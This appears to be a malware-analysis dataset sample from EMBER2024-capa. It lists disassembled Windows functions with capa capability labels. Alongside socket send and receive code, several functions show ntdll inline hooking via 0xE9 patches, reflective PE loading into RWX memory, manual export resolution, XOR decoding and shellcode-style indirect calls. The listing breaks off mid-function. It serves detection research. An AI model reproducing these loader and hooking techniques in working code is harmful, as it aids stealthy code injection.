joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140065df0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x140065f98
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x140065e55
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x140065e55
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x140065e55
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x140065e8c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x140065ee2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140065ee2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140065ee2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140065ee2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x140065ee2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400658a0
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x140065f44
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140042020
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.140065c70
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140065f90
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.140042020
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x140067700
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x14009b080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x140067795
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400677f6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.140042020
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14007aaa0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400678b1
sub ecx, 1
je 0x140067924
sub ecx, 1
je 0x140067860
cmp ecx, 1
je 0x140067843
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140086c90]
call fcn.140042020
jmp 0x140067924
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.140067430
test eax, eax
je 0x140067924
jmp 0x1400677ca
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140067924
sub rax, rsi
cmp rax, rbp
jae 0x140067924
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400421a0
jmp 0x140067924
cmp r8d, 4
jle 0x140067924
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x140067924
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140041f40
mov esi, eax
test eax, eax
je 0x140067903
mov edx, 5
mov rcx, rbx
call fcn.1400683f0
mov eax, esi
jmp 0x1400677ca
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.140050820
mov rcx, r14
call fcn.140050b00
test eax, eax
je 0x1400677c8
mov edx, 5
mov rcx, rbx
call fcn.1400683f0
mov eax, Ordinal_45
jmp 0x1400677ca
Function at 0x14007a6c0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x14007a702
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x14007a749
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x14007a7a2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x14007a760
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14007a7e3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14008c41a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14008c41b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14007a7b0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x14007a800
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14007a83a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14007a83f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14007a888
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x14007a888
dec r8
sub rdx, 1
jne 0x14007a86e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14007b8b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14007b8fe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007b8fe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007b8fe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007b8fe
cmp dword [rcx + 0x84], 0xe
jbe 0x14007b8fe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14007b900
xor al, al
add rsp, 0x28
ret
Function at 0x180005680
Capabilities:
Allocate or change rwx memory

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x60
mov rbx, r8
lea rax, [r11 + 0x18]
mov rsi, r9
mov rdi, rdx
mov r8, rdx
mov r9d, 5
or rcx, 0xffffffffffffffff
mov rdx, rbx
mov qword [r11 - 0x48], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, edi
lea rdx, [rsp + 0x30]
sub eax, ebx
mov r8d, 0x30
mov rcx, rdi
sub eax, 5
mov byte [rbx + 5], 0xe9
mov dword [rbx + 6], eax
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x54]
mov r8d, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
sub esi, edi
lea r9, [rsp + 0x78]
sub esi, 5
mov byte [rdi], 0xe9
mov dword [rdi + 1], esi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x30]
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x180005748
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1800058c4
lea rdx, str.NtMapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryAttributesFile
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenSection
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbx, [r13 + 0x144]
lea r9, [0x180005620]
mov rdx, rdi
mov rcx, r13
mov r8, rbx
mov r12, rax
call fcn.180005680
mov qword [r13 + 0x190], rbx
lea rbx, [r13 + 0x126]
lea r9, [0x1800054e4]
mov r8, rbx
mov rdx, rsi
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x178], rbx
lea rbx, [r13 + 0x130]
lea r9, [0x180005564]
mov r8, rbx
mov rdx, rbp
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x180], rbx
lea rbx, [r13 + 0x13a]
lea r9, [0x1800055f0]
mov r8, rbx
mov rdx, r14
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x188], rbx
lea rbx, [r13 + 0x11c]
lea r9, [0x180005478]
mov r8, rbx
mov rdx, r15
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x170], rbx
lea rbx, [r13 + 0x14e]
lea r9, [0x180005660]
mov r8, rbx
mov rdx, r12
mov rcx, r13
call fcn.180005680
mov qword [r13 + 0x198], rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1800058e8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rdi, rdx
mov rbx, r8
lea rdx, [rsp + 0x38]
mov rcx, rdi
mov r8d, 0x30
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x5c]
mov r8d, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rbx
lea rax, [rsp + 0x30]
or rbx, 0xffffffffffffffff
mov r9d, 5
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x180005990
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
lea rcx, [0x1800236bc]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x180005aa7
lea rdx, str.NtMapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryAttributesFile
mov rcx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, r15
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, r15
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenSection
mov rcx, r15
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [r13 + 0x144]
mov rdx, rbx
mov rcx, r13
mov r15, rax
call fcn.1800058e8
lea r8, [r13 + 0x126]
mov rdx, rdi
mov rcx, r13
call fcn.1800058e8
lea r8, [r13 + 0x130]
mov rdx, rsi
mov rcx, r13
call fcn.1800058e8
lea r8, [r13 + 0x13a]
mov rdx, rbp
mov rcx, r13
call fcn.1800058e8
lea r8, [r13 + 0x11c]
mov rdx, r14
mov rcx, r13
call fcn.1800058e8
lea r8, [r13 + 0x14e]
mov rdx, r15
mov rcx, r13
call fcn.1800058e8
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r13
ret
Function at 0x180005acc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rax, qword [rcx + 0x108]
mov rdi, rcx
mov esi, pe_nt_image_headers64
movsxd rbx, dword [rax + 0x3c]
mov ebp, 0x3000
mov r9d, esi
add rbx, rax
mov r8d, ebp
mov edx, dword [rbx + 0x50]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r14d, r14d
mov qword [rdi + 0x110], rax
test rax, rax
jne 0x180005b31
mov edx, dword [rbx + 0x50]
mov r9d, esi
mov r8d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rdi + 0x110], rax
mov eax, dword [rbx + 0x50]
lea rcx, [0x1800236bc]
mov dword [rdi + 0x118], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtLockVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
or r15, 0xffffffffffffffff
test rax, rax
je 0x180005b86
mov rcx, qword [rdi + 0x110]
lea r9d, [r15 + 2]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rcx
mov ecx, dword [rbx + 0x50]
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x60], ecx
mov rcx, r15
call rax
mov r9d, dword [rbx + 0x54]
mov r8, qword [rdi + 0x108]
mov rdx, qword [rdi + 0x110]
mov rcx, r15
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 0x14]
mov ebp, r14d
cmp r14w, word [rbx + 6]
jae 0x180005bef
lea rsi, [rbx + 0x2c]
add rsi, rax
mov r8d, dword [rsi]
mov edx, dword [rsi - 8]
mov r9d, dword [rsi - 4]
add r8, qword [rdi + 0x108]
add rdx, qword [rdi + 0x110]
mov rcx, r15
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc ebp
lea rsi, [rsi + 0x28]
cmp ebp, eax
jl 0x180005bbb
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180006108
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rdx
mov rdi, rcx
xor ebx, ebx
test rcx, rcx
jne 0x180006139
xor eax, eax
jmp 0x1800061d8
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rbx
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
add rcx, rdi
mov r12d, dword [rcx + 0x1c]
add r12, rdi
mov r15d, dword [rcx + 0x20]
add r15, rdi
mov qword [rsp + 0x28], r15
mov r14d, dword [rcx + 0x24]
add r14, rdi
mov qword [rsp + 0x30], r14
test rdx, 0xffffffffffff0000
jne 0x180006181
movzx eax, dx
sub eax, dword [rcx + 0x10]
jmp 0x1800061aa
mov esi, dword [rcx + 0x18]
mov dword [rsp + 0x20], esi
mov eax, esi
dec esi
mov dword [rsp + 0x20], esi
test eax, eax
je 0x1800061cc
mov ecx, dword [r15]
add rcx, rdi
mov rdx, r13
call fcn.180014a00
test eax, eax
jne 0x1800061b8
movzx eax, word [r14]
mov ebx, dword [r12 + rax*4]
add rbx, rdi
mov qword [rsp + 0x38], rbx
jmp 0x1800061cc
add r15, 4
mov qword [rsp + 0x28], r15
add r14, 2
mov qword [rsp + 0x30], r14
jmp 0x180006188
jmp 0x1800061d5
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
ret

Function at 0x18000633c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, edx
mov rbx, rcx
and qword [rax - 0x18], 0
and dword [rax + 8], 0
and dword [rax + 0x20], 0
test rcx, rcx
je 0x1800063d7
test edx, edx
je 0x1800063d7
mov rdx, r8
call fcn.180006200
test eax, eax
je 0x1800063cc
mov esi, eax
add rsi, rbx
lea r9, [rsp + 0x40]
mov r8d, pe_nt_image_headers64
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800063cc
call rsi
test rax, rax
je 0x1800063b6
lea r8, [rsp + 0x20]
mov edx, 6
xor ecx, ecx
call rax
neg eax
sbb rcx, rcx
and rcx, qword [rsp + 0x20]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x20]
jmp 0x1800063d5
jmp 0x1800063d9
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1800065c4
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
test r8d, r8d
je 0x1800065e5
mov r10d, r8d
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + rcx]
xor byte [rdx], al
inc rdx
dec r10
jne 0x1800065cf
ret
Function at 0x180007e44
Capabilities:
Link function at runtime on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, rcx
mov ebp, 0xe
mov r14, r9
lea ecx, [rbp + 0x2a]
mov r15, r8
mov esi, edx
call fcn.180013510
mov rbx, rax
test rax, rax
je 0x180007fc8
lea r8d, [rbp + 0x2a]
xor edx, edx
mov rcx, rax
call fcn.180013e70
mov qword [rbx], rdi
lea edx, [rbp - 0xc]
mov rcx, rdi
test esi, esi
je 0x180007ecf
call fcn.180006108
mov rcx, qword [rbx]
lea edx, [rbp - 0xb]
mov qword [rbx + 8], rax
call fcn.180006108
mov rcx, qword [rbx]
lea edx, [rbp - 9]
mov qword [rbx + 0x10], rax
call fcn.180006108
mov rcx, qword [rbx]
lea edx, [rbp - 0xa]
mov qword [rbx + 0x18], rax
call fcn.180006108
jmp 0x180007f0b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 3
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 5
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
mov edx, 4
mov qword [rbx + 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, qword [rbx + 8]
mov qword [rbx + 0x20], rax
test r8, r8
je 0x180007f76
mov rax, qword [rsp + 0x60]
mov rdx, r15
mov qword [rbx + 0x30], rax
mov rcx, qword [0x18002e5e0]
call r8
mov rcx, qword [0x180030aa0]
mov qword [rbx + 0x28], rcx
mov ebp, eax
test eax, eax
jne 0x180007f6e
cmp qword [rbx + 0x18], 0
je 0x180007f5d
mov rdi, qword [rbx + 0x30]
jmp 0x180007f58
mov ecx, dword [rdi]
call qword [rbx + 0x18]
mov rdi, qword [rdi + 0xb8]
test rdi, rdi
jne 0x180007f4c
mov rcx, qword [0x180030ae0]
mov rdx, rbx
call fcn.180005eb4
jmp 0x180007f76
mov rcx, rbx
call fcn.1800134d0
test r14, r14
je 0x180007fc8
mov rdi, qword [rbx + 0x28]
jmp 0x180007fc2
mov r8d, dword [rdi]
mov edx, 0x2000b
mov rcx, r14
call fcn.18000443c
mov rax, qword [0x180030ae0]
mov rsi, qword [rax]
jmp 0x180007fb6
mov rax, qword [rsi + 0x10]
cmp rax, rbx
je 0x180007fb3
mov rdx, qword [rax + 0x18]
test rdx, rdx
je 0x180007fb3
mov ecx, dword [rdi]
call rdx
mov rsi, qword [rsi]
test rsi, rsi
jne 0x180007f9d
mov rdi, qword [rdi + 0xb8]
cmp rdi, qword [rbx + 0x30]
jne 0x180007f81
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov eax, ebp
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x18000a344
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
xor eax, eax
xor ebx, ebx
mov r14, rcx
mov qword [rbp - 0x1f], rax
mov qword [rbp - 0x17], rax
mov qword [rbp - 0xf], rax
mov dword [rbp - 7], eax
mov word [rbp - 3], ax
mov byte [rbp - 1], al
mov rax, qword [rcx + 8]
mov rcx, qword [rcx + 0x28]
mov byte [rbp - 0x20], bl
mov r13, qword [rax + 0x60]
mov r15, rdx
lea edi, [rbx + 1]
xor esi, esi
call fcn.18000ce54
movsxd rdi, edi
test rdi, rdi
je 0x18000a3e3
mov rcx, qword [r13 + 8]
and qword [rsp + 0x20], rsi
mov r8d, 0x20
mov eax, ebx
lea rdx, [rbp - 0x20]
lea r9, [rbp + 0x30]
add rdx, rax
sub r8d, ebx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000a3d3
add ebx, dword [rbp + 0x30]
cmp ebx, 0x20
jne 0x18000a399
xor edi, edi
jmp 0x18000a396
mov ecx, 0x490
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x18000a502
cmp ebx, 0x20
jne 0x18000a502
cmp byte [rbp - 0x1d], sil
jne 0x18000a436
mov edi, dword [rbp - 0x20]
add edi, 0xffffffe4
movsxd rcx, edi
call fcn.180013510
lea r9, [rbp + 0x30]
mov r8d, edi
mov rdx, rax
mov rcx, r13
mov rbx, rax
call fcn.18000a2ac
mov rcx, rbx
call fcn.1800134d0
cmp edi, dword [rbp + 0x30]
jne 0x18000a502
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
and qword [r15], rsi
jmp 0x18000a502
lea rdx, [rbp - 0x1c]
lea rcx, [rbp - 0x20]
mov r8d, 0x1c
call fcn.1800065c4
mov rcx, qword [r14 + 0x20]
add rcx, 0x20
call fcn.1800065ec
test eax, eax
je 0x18000a471
mov rcx, qword [r14 + 0x20]
lea rdx, [rbp - 0x1c]
mov r8d, 0x10
add rcx, 0x20
call fcn.1800135e0
mov ecx, dword [rbp - 8]
call qword [sym.imp.WS2_32.dll_ntohl]
lea ebx, [rax - 8]
lea edi, [rbx + 0x20]
mov ecx, edi
call fcn.180013510
mov rsi, rax
test rax, rax
jne 0x18000a497
lea ecx, [rax + 8]
jmp 0x18000a3d8
lea rdx, [rbp - 0x1c]
lea rcx, [rbp - 0x20]
mov r8d, 0x1c
call fcn.1800065c4
mov eax, 0x20
lea r8, [rbp - 0x20]
mov r9d, eax
mov edx, eax
mov rcx, rsi
call fcn.180015138
lea rdx, [rsi + 0x20]
lea r9, [rbp + 0x30]
mov r8d, ebx
mov rcx, r13
call fcn.18000a2ac
cmp dword [rbp + 0x30], ebx
je 0x18000a4df
mov ecx, eax
jmp 0x18000a3d8
mov r9d, edi
mov r8, rsi
mov rdx, r15
mov rcx, r14
call fcn.180006e78
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, rsi
call fcn.1800134d0
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test rsi, rsi
je 0x18000a517
mov rcx, rsi
call fcn.1800134d0
mov rcx, qword [r14 + 0x28]
call fcn.18000ce74
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
